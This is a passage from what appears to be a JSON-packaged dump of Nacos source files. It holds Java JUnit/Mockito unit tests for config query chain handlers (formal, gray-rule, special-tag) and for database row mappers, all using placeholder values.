handleContentEmptyShouldReturnConfigNotFound() throws IOException {\n        when(cacheItem.getConfigCache()).thenReturn(configCache);\n        when(configCache.getMd5()).thenReturn(\"mockMd5\");\n        when(configDiskService.getContent(\"dataId\", \"group\", \"tenant\")).thenReturn(\"\");\n        \n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(\"dataId\");\n        request.setGroup(\"group\");\n        request.setTenant(\"tenant\");\n        \n        ConfigQueryChainResponse response = formalHandler.handle(request);\n        \n        assertEquals(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND, response.getStatus());\n    }\n    \n    @Test\n    public void handleContentNotEmptyShouldReturnConfigFoundFormal() throws IOException {\n        when(cacheItem.getConfigCache()).thenReturn(configCache);\n        when(configCache.getMd5()).thenReturn(\"mockMd5\");\n        when(configCache.getLastModifiedTs()).thenReturn(123456789L);\n        when(configCache.getEncryptedDataKey()).thenReturn(\"mockEncryptedDataKey\");\n        when(cacheItem.getType()).thenReturn(\"mockType\");\n        when(configDiskService.getContent(\"dataId\", \"group\", \"tenant\")).thenReturn(\"mockContent\");\n        \n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(\"dataId\");\n        request.setGroup(\"group\");\n        request.setTenant(\"tenant\");\n        \n        ConfigQueryChainResponse response = formalHandler.handle(request);\n        \n        assertEquals(\"mockContent\", response.getContent());\n        assertEquals(\"mockMd5\", response.getMd5());\n        assertEquals(123456789L, response.getLastModified());\n        assertEquals(\"mockEncryptedDataKey\", response.getEncryptedDataKey());\n        assertEquals(\"mockType\", response.getConfigType());\n        assertEquals(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL, response.getStatus());\n    }\n    \n    @Test\n    public void testGetName() {\n        assertEquals(\"formalHandler\", formalHandler.getName());\n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/query/handler/GrayRuleMatchHandlerTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass GrayRuleMatchHandlerTest {\n    \n    @InjectMocks\n    private GrayRuleMatchHandler grayRuleMatchHandler;\n    \n    private MockedStatic<ConfigChainEntryHandler> configChainEntryHandlerMockedStatic;\n    \n    private MockedStatic<ConfigDiskServiceFactory> configDiskServiceFactoryMockedStatic;\n    \n    @Mock\n    private CacheItem cacheItem;\n    \n    @Mock\n    private ConfigCacheGray configCacheGray;\n    \n    @Mock\n    private ConfigDiskService configDiskService;\n    \n    @Mock\n    private ConfigQueryHandler nextHandler;\n    \n    @BeforeEach\n    public void setUp() {\n        configChainEntryHandlerMockedStatic = Mockito.mockStatic(ConfigChainEntryHandler.class);\n        configChainEntryHandlerMockedStatic.when(ConfigChainEntryHandler::getThreadLocalCacheItem)\n                .thenReturn(cacheItem);\n        configDiskServiceFactoryMockedStatic = Mockito.mockStatic(ConfigDiskServiceFactory.class);\n        configDiskServiceFactoryMockedStatic.when(ConfigDiskServiceFactory::getInstance).thenReturn(configDiskService);\n    }\n    \n    @AfterEach\n    public void tearDown() {\n        configChainEntryHandlerMockedStatic.close();\n        configDiskServiceFactoryMockedStatic.close();\n    }\n    \n    @Test\n    public void handleNoGrayRulesShouldPassToNextHandler() throws IOException {\n        when(cacheItem.getSortConfigGrays()).thenReturn(Collections.emptyList());\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        ConfigQueryChainResponse expectedResponse = new ConfigQueryChainResponse();\n        expectedResponse.setResultCode(123); // 假设这是下一个处理器的响应\n        \n        when(nextHandler.handle(request)).thenReturn(expectedResponse);\n        grayRuleMatchHandler.setNextHandler(nextHandler);\n        \n        ConfigQueryChainResponse response = grayRuleMatchHandler.handle(request);\n        \n        assertEquals(expectedResponse, response);\n    }\n    \n    @Test\n    public void handleNoMatchingGrayRuleShouldPassToNextHandler() throws IOException {\n        when(cacheItem.getSortConfigGrays()).thenReturn(Collections.singletonList(configCacheGray));\n        when(configCacheGray.match(any())).thenReturn(false);\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        ConfigQueryChainResponse expectedResponse = new ConfigQueryChainResponse();\n        expectedResponse.setResultCode(123); // 假设这是下一个处理器的响应\n        \n        when(nextHandler.handle(request)).thenReturn(expectedResponse);\n        grayRuleMatchHandler.setNextHandler(nextHandler);\n        \n        ConfigQueryChainResponse response = grayRuleMatchHandler.handle(request);\n        \n        assertEquals(expectedResponse, response);\n    }\n    \n    @Test\n    public void handleMatchingGrayRuleShouldReturnConfigResponse() throws IOException {\n        when(cacheItem.getSortConfigGrays()).thenReturn(Collections.singletonList(configCacheGray));\n        when(configCacheGray.match(any())).thenReturn(true);\n        when(configCacheGray.getLastModifiedTs()).thenReturn(123456L);\n        when(configCacheGray.getMd5()).thenReturn(\"md5\");\n        when(configCacheGray.getEncryptedDataKey()).thenReturn(\"encryptedKey\");\n        when(configCacheGray.getGrayName()).thenReturn(\"grayName\");\n        when(cacheItem.getType()).thenReturn(\"configType\");\n        when(configDiskService.getGrayContent(anyString(), anyString(), anyString(), anyString())).thenReturn(\n                \"content\");\n        \n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(\"dataId\");\n        request.setGroup(\"group\");\n        request.setTenant(\"tenant\");\n        \n        ConfigQueryChainResponse response = grayRuleMatchHandler.handle(request);\n        \n        assertEquals(\"content\", response.getContent());\n        assertEquals(\"md5\", response.getMd5());\n        assertEquals(123456L, response.getLastModified());\n        assertEquals(\"encryptedKey\", response.getEncryptedDataKey());\n        assertEquals(\"configType\", response.getConfigType());\n        assertEquals(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_GRAY, response.getStatus());\n    }\n    \n    @Test\n    public void testGetName() {\n        assertEquals(\"grayRuleMatchHandler\", grayRuleMatchHandler.getName());\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/query/handler/SpecialTagNotFoundHandlerTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass SpecialTagNotFoundHandlerTest {\n    \n    @InjectMocks\n    private SpecialTagNotFoundHandler specialTagNotFoundHandler;\n    \n    @Mock\n    private ConfigQueryHandler nextHandler;\n    \n    @Test\n    public void handleTagNotEmptyReturnsSpecialTagNotFoundResponse() throws IOException {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setTag(\"someTag\");\n        ConfigQueryChainResponse response = specialTagNotFoundHandler.handle(request);\n        assertEquals(ConfigQueryChainResponse.ConfigQueryStatus.SPECIAL_TAG_CONFIG_NOT_FOUND, response.getStatus());\n    }\n    \n    @Test\n    public void handleTagEmptyDelegatesToNextHandler() throws IOException {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setTag(\"\");\n        ConfigQueryChainResponse expectedResponse = new ConfigQueryChainResponse();\n        when(nextHandler.handle(request)).thenReturn(expectedResponse);\n        ConfigQueryChainResponse response = specialTagNotFoundHandler.handle(request);\n        assertEquals(expectedResponse, response);\n    }\n    \n    @Test\n    public void getName() {\n        assertEquals(\"specialTagNotFoundHandler\", specialTagNotFoundHandler.getName());\n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjectorTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository;\n\nimport com.alibaba.nacos.config.server.model.ConfigAdvanceInfo;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo4Beta;\nimport com.alibaba.nacos.config.server.model.ConfigInfo4Tag;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBase;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBetaWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoChanged;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoTagWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigKey;\nimport com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.ConfigHistoryDetailRowMapper;\nimport com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.ConfigInfo4BetaRowMapper;\nimport com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.ConfigInfoBetaWrapperRowMapper;\nimport com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.ConfigInfoChangedRowMapper;\nimport com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.ConfigInfoStateWrapperRowMapper;\nimport com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.ConfigInfoTagWrapperRowMapper;\nimport com.alibaba.nacos.persistence.repository.RowMapperManager;\nimport com.mysql.cj.jdbc.result.ResultSetImpl;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.sql.SQLException;\nimport java.sql.Timestamp;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.eq;\n\n@ExtendWith(SpringExtension.class)\nclass ConfigRowMapperInjectorTest {\n    \n    @Test\n    void testInit() {\n        ConfigRowMapperInjector configRowMapperInjector = new ConfigRowMapperInjector();\n        assertEquals(ConfigRowMapperInjector.CONFIG_INFO_WRAPPER_ROW_MAPPER, RowMapperManager.getRowMapper(\n                ConfigRowMapperInjector.CONFIG_INFO_WRAPPER_ROW_MAPPER.getClass().getCanonicalName()));\n    }\n    \n    @Test\n    void testConfigInfoTagWrapperRowMapper() throws SQLException {\n        ConfigInfoTagWrapper preConfig = new ConfigInfoTagWrapper();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenant_id11111\");\n        preConfig.setId(1243567898L);\n        preConfig.setTag(\"tag345678\");\n        preConfig.setLastModified(System.currentTimeMillis());\n        preConfig.setAppName(\"app_name11111\");\n        preConfig.setType(\"type55555\");\n        preConfig.setContent(\"content1123434t\");\n        preConfig.setMd5(\"md54567\");\n        preConfig.setEncryptedDataKey(\"encrypted_data_key1324\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(preConfig.getType());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_modified\"))).thenReturn(new Timestamp(preConfig.getLastModified()));\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(preConfig.getContent());\n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(preConfig.getId());\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(preConfig.getMd5());\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(preConfig.getEncryptedDataKey());\n        Mockito.when(resultSet.getString(eq(\"tag_id\"))).thenReturn(preConfig.getTag());\n        ConfigInfoTagWrapperRowMapper configInfoWrapperRowMapper = new ConfigInfoTagWrapperRowMapper();\n        ConfigInfoTagWrapper configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        assertEquals(preConfig.getTag(), configInfoWrapper.getTag());\n    }\n    \n    @Test\n    void testConfigInfo4BetaRowMapper() throws SQLException {\n        ConfigInfo4Beta preConfig = new ConfigInfo4Beta();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenant_id11111\");\n        preConfig.setId(1243567898L);\n        preConfig.setAppName(\"app_name11111\");\n        preConfig.setType(\"type55555\");\n        preConfig.setContent(\"content1123434t\");\n        preConfig.setMd5(\"md54567\");\n        preConfig.setEncryptedDataKey(\"encrypted_data_key1324\");\n        preConfig.setBetaIps(\"127.0.0.1,127.0.0.2\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(preConfig.getType());\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(preConfig.getContent());\n        Mockito.when(resultSet.getString(eq(\"beta_ips\"))).thenReturn(preConfig.getBetaIps());\n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(preConfig.getId());\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(preConfig.getMd5());\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(preConfig.getEncryptedDataKey());\n        ConfigInfo4BetaRowMapper configInfoWrapperRowMapper = new ConfigInfo4BetaRowMapper();\n        ConfigInfo4Beta configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        assertEquals(preConfig.getBetaIps(), configInfoWrapper.getBetaIps());\n    }\n    \n    @Test\n    void testConfigInfoBetaWrapperRowMapper() throws SQLException {\n        ConfigInfoBetaWrapper preConfig = new ConfigInfoBetaWrapper();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenant_id11111\");\n        preConfig.setId(1243567898L);\n        preConfig.setLastModified(System.currentTimeMillis());\n        preConfig.setAppName(\"app_name11111\");\n        preConfig.setType(\"type55555\");\n        preConfig.setContent(\"content1123434t\");\n        preConfig.setMd5(\"md54567\");\n        preConfig.setEncryptedDataKey(\"encrypted_data_key1324\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(preConfig.getType());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_modified\"))).thenReturn(new Timestamp(preConfig.getLastModified()));\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(preConfig.getContent());\n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(preConfig.getId());\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(preConfig.getMd5());\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(preConfig.getEncryptedDataKey());\n        ConfigInfoBetaWrapperRowMapper configInfoWrapperRowMapper = new ConfigInfoBetaWrapperRowMapper();\n        ConfigInfoBetaWrapper configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n    }\n    \n    @Test\n    void testConfigAdvanceInfoRowMapper() throws SQLException {\n        ConfigAdvanceInfo preConfig = new ConfigAdvanceInfo();\n        preConfig.setModifyTime(System.currentTimeMillis());\n        preConfig.setCreateTime(System.currentTimeMillis());\n        preConfig.setCreateUser(\"user12345\");\n        preConfig.setCreateIp(\"1267890\");\n        preConfig.setDesc(\"desc23\");\n        preConfig.setUse(\"us345t\");\n        preConfig.setEffect(\"effect233\");\n        preConfig.setType(\"type132435\");\n        preConfig.setSchema(\"scheme344\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"src_ip\"))).thenReturn(preConfig.getCreateIp());\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(preConfig.getType());\n        Mockito.when(resultSet.getString(eq(\"c_desc\"))).thenReturn(preConfig.getDesc());\n        Mockito.when(resultSet.getString(eq(\"effect\"))).thenReturn(preConfig.getEffect());\n        Mockito.when(resultSet.getString(eq(\"src_user\"))).thenReturn(preConfig.getCreateUser());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_modified\"))).thenReturn(new Timestamp(preConfig.getModifyTime()));\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_create\"))).thenReturn(new Timestamp(preConfig.getCreateTime()));\n        Mockito.when(resultSet.getString(eq(\"c_use\"))).thenReturn(preConfig.getUse());\n        Mockito.when(resultSet.getString(eq(\"c_schema\"))).thenReturn(preConfig.getSchema());\n        ConfigRowMapperInjector.ConfigAdvanceInfoRowMapper configInfoWrapperRowMapper = new ConfigRowMapperInjector.ConfigAdvanceInfoRowMapper();\n        ConfigAdvanceInfo configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n    }\n    \n    @Test\n    void testConfigAllInfoRowMapper() throws SQLException {\n        ConfigAllInfo preConfig = new ConfigAllInfo();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenant_id11111\");\n        preConfig.setModifyTime(System.currentTimeMillis());\n        preConfig.setCreateTime(System.currentTimeMillis());\n        preConfig.setId(1243567898L);\n        preConfig.setAppName(\"app_name11111\");\n        preConfig.setType(\"type55555\");\n        preConfig.setContent(\"content1123434t\");\n        preConfig.setMd5(\"md54567\");\n        preConfig.setEncryptedDataKey(\"encrypted_data_key1324\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        \n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(preConfig.getType());\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(preConfig.getContent());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_modified\"))).thenReturn(new Timestamp(preConfig.getModifyTime()));\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_create\"))).thenReturn(new Timestamp(preConfig.getCreateTime()));\n\n\n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(preConfig.getId());\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(preConfig.getMd5());\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(preConfig.getEncryptedDataKey());\n        ConfigRowMapperInjector.ConfigAllInfoRowMapper configInfoWrapperRowMapper = new ConfigRowMapperInjector.ConfigAllInfoRowMapper();\n        \n        ConfigAllInfo configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n    }\n    \n    @Test\n    void testConfigInfoRowMapper() throws SQLException {\n        \n        ConfigInfo preConfig = new ConfigInfo();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenant_id11111\");\n        preConfig.setId(1243567898L);\n        preConfig.setAppName(\"app_name11111\");\n        preConfig.setType(\"type55555\");\n        preConfig.setContent(\"content1123434t\");\n        preConfig.setMd5(\"md54567\");\n        preConfig.setEncryptedDataKey(\"encrypted_data_key1324\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(preConfig.getType());\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(preConfig.getContent());\n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(preConfig.getId());\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(preConfig.getMd5());\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(preConfig.getEncryptedDataKey());\n        ConfigRowMapperInjector.ConfigInfoRowMapper configInfoWrapperRowMapper = new ConfigRowMapperInjector.ConfigInfoRowMapper();\n        ConfigInfo configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n    }\n    \n    @Test\n    void testConfigInfoWrapperRowMapper() throws SQLException {\n        \n        ConfigInfoWrapper preConfig = new ConfigInfoWrapper();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenant_id11111\");\n        preConfig.setLastModified(System.currentTimeMillis());\n        preConfig.setId(1243567898L);\n        preConfig.setAppName(\"app_name11111\");\n        preConfig.setType(\"type55555\");\n        preConfig.setContent(\"content1123434t\");\n        preConfig.setMd5(\"md54567\");\n        preConfig.setEncryptedDataKey(\"encrypted_data_key1324\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(preConfig.getType());\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(preConfig.getContent());\n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(preConfig.getId());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_modified\"))).thenReturn(new Timestamp(preConfig.getLastModified()));\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(preConfig.getMd5());\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(preConfig.getEncryptedDataKey());\n        ConfigRowMapperInjector.ConfigInfoWrapperRowMapper configInfoWrapperRowMapper = new ConfigRowMapperInjector.ConfigInfoWrapperRowMapper();\n        ConfigInfoWrapper configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        \n    }\n    \n    @Test\n    void testConfigInfo4TagRowMapper() throws SQLException {\n        \n        ConfigInfo4Tag preConfig = new ConfigInfo4Tag();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenant_id11111\");\n        preConfig.setId(1243567898L);\n        preConfig.setAppName(\"app_name11111\");\n        preConfig.setType(\"type55555\");\n        preConfig.setContent(\"content1123434t\");\n        preConfig.setMd5(\"md54567\");\n        preConfig.setEncryptedDataKey(\"encrypted_data_key1324\");\n        preConfig.setTag(\"tag567890\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(preConfig.getType());\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(preConfig.getContent());\n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(preConfig.getId());\n        Mockito.when(resultSet.getString(eq(\"tag_id\"))).thenReturn(preConfig.getTag());\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(preConfig.getMd5());\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(preConfig.getEncryptedDataKey());\n        ConfigRowMapperInjector.ConfigInfo4TagRowMapper configInfoWrapperRowMapper = new ConfigRowMapperInjector.ConfigInfo4TagRowMapper();\n        ConfigInfo4Tag configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        \n    }\n    \n    @Test\n    void testConfigInfoBaseRowMapper() throws SQLException {\n        \n        ConfigInfoBase preConfig = new ConfigInfoBase();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setId(1243567898L);\n        preConfig.setContent(\"content1123434t\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(preConfig.getContent());\n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(preConfig.getId());\n        ConfigRowMapperInjector.ConfigInfoBaseRowMapper configInfoWrapperRowMapper = new ConfigRowMapperInjector.ConfigInfoBaseRowMapper();\n        ConfigInfoBase configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        \n    }\n    \n    @Test\n    void testConfigInfoGrayRowMapper() throws SQLException {\n        \n        ConfigInfoGrayWrapper preConfig = new ConfigInfoGrayWrapper();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setContent(\"content1123434t\");\n        preConfig.setGrayName(\"grayName\");\n        preConfig.setGrayRule(\"rule12345\");\n        preConfig.setTenant(\"tenang34567890\");\n        preConfig.setAppName(\"app3456789\");\n        preConfig.setEncryptedDataKey(\"key12345\");\n        Timestamp timestamp = Timestamp.valueOf(\"2024-12-12 12:34:34\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        